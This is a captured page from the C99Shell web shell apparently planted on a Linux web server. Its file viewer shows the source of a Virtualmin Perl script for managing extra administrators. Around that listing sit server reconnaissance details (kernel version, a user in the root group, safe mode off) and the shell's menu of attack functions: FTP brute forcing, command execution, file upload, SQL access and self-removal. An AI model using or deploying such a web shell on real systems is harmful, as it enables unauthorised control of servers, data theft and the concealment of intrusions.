!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_admin.cgi (2.93 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Create, update or delete an extra administrator

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});
&can_edit_domain($d) || &error($text{'edit_ecannot'});
&can_edit_admins($d) || &error($text{'admins_ecannot'});

&obtain_lock_webmin() if (!$in{'switch'});
@admins = &list_extra_admins($d);
&require_acl();

if (!$in{'new'}) {
    ($admin) = grep { $_->{'name'} eq $in{'old'} } @admins;
    $admin || &error($text{'admin_egone'});
    $oldadmin = { %$admin };
    }
else {
    $admin = { };
    }

if ($in{'switch'}) {
    # Special case - switch to this Webmin user
    &ui_print_header(&domain_in($d), $text{'admin_title2'}, "");
    print &text('admin_switching', "<tt>$in{'old'}</tt>"),"<p>\n";
    print "<script>\n";
    print "var w = window;\n";
    print "while(w.parent && w.parent != w) { w = w.parent; }\n";
    print "w.location = \"switch_user.cgi?dom=$in{'dom'}&admin=$in{'old'}\";\n";
    print "</script>\n";
    &ui_print_footer();
    exit;
    }
elsif ($in{'delete'}) {
    # Just delete him
    &delete_extra_admin($admin, $d);
    }
else {
    # Validate inputs
    &error_setup($text{'admin_err'});
    $tmpl = &get_template($d->{'template'});
    $in{'name'} =~ /^[a-z0-9\.\_\-]+$/i || &error($text{'admin_ename'});
    $in{'name'} eq 'webmin' && &error($text{'resel_ewebmin'});
    if ($tmpl->{'extra_prefix'} ne "none") {
        # Force-prepend prefix
        $pfx = &substitute_domain_template($tmpl->{'extra_prefix'}, $d);
        if ($in{'new'} || $admin->{'name'} =~ /^\Q$pfx\E(.*)/) {
            $admin->{'name'} = $pfx.$in{'name'};
            }
        elsif (&master_admin()) {
            $admin->{'name'} = $in{'name'};
            }
        }
    else {
        $admin->{'name'} = $in{'name'};
        }
    if ($in{'new'} || $in{'name'} ne $in{'old'}) {
        ($clash) = grep { $_->{'name'} eq $in{'name'} }
                &acl::list_users();
        $clash && &error($text{'admin_eclash'});
        }
    if (!$in{'pass_def'}) {
        $admin->{'pass'} = $in{'pass'};
        }
    $admin->{'desc'} = $in{'desc'};
    if ($in{'email_def'}) {
        delete($admin->{'email'});
        }
    else {
        $in{'email'} =~ /^\S+\@\S+$/ ||
            &error($text{'admin_eemail'});
        $admin->{'email'} = $in{'email'};
        }

    # Save edit options
    $admin->{'create'} = $in{'create'};
    $admin->{'norename'} = $in{'norename'};
    $admin->{'features'} = $in{'features'};
    $admin->{'modules'} = $in{'modules'};
    %sel_edits = map { $_, 1 } split(/\0/, $in{'edit'});
    foreach $ed (@edit_limits) {
        if ($d->{'edit_'.$ed}) {
            $admin->{"edit_".$ed} = $sel_edits{$ed};
            }
        }

    # Save allowed domains
    if ($in{'doms_def'}) {
        delete($admin->{'doms'});
        }
    else {
        $in{'doms'} || &error($text{'admin_edoms'});
        $admin->{'doms'} = join(" ", split(/\0/, $in{'doms'}));
        }

    # Save or create the admin
    if ($in{'new'}) {
        &create_extra_admin($admin, $d);
        }
    else {
        &modify_extra_admin($admin, $oldadmin, $d);
        }
    }
&release_lock_webmin();

&run_post_actions_silently();
&webmin_log($in{'new'} ? "create" : $in{'delete'} ? "delete" : "modify",
        "admin", $oldadmin ? $oldadmin->{'name'} : $admin->{'name'});
&redirect("list_admins.cgi?dom=$d->{'id'}");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--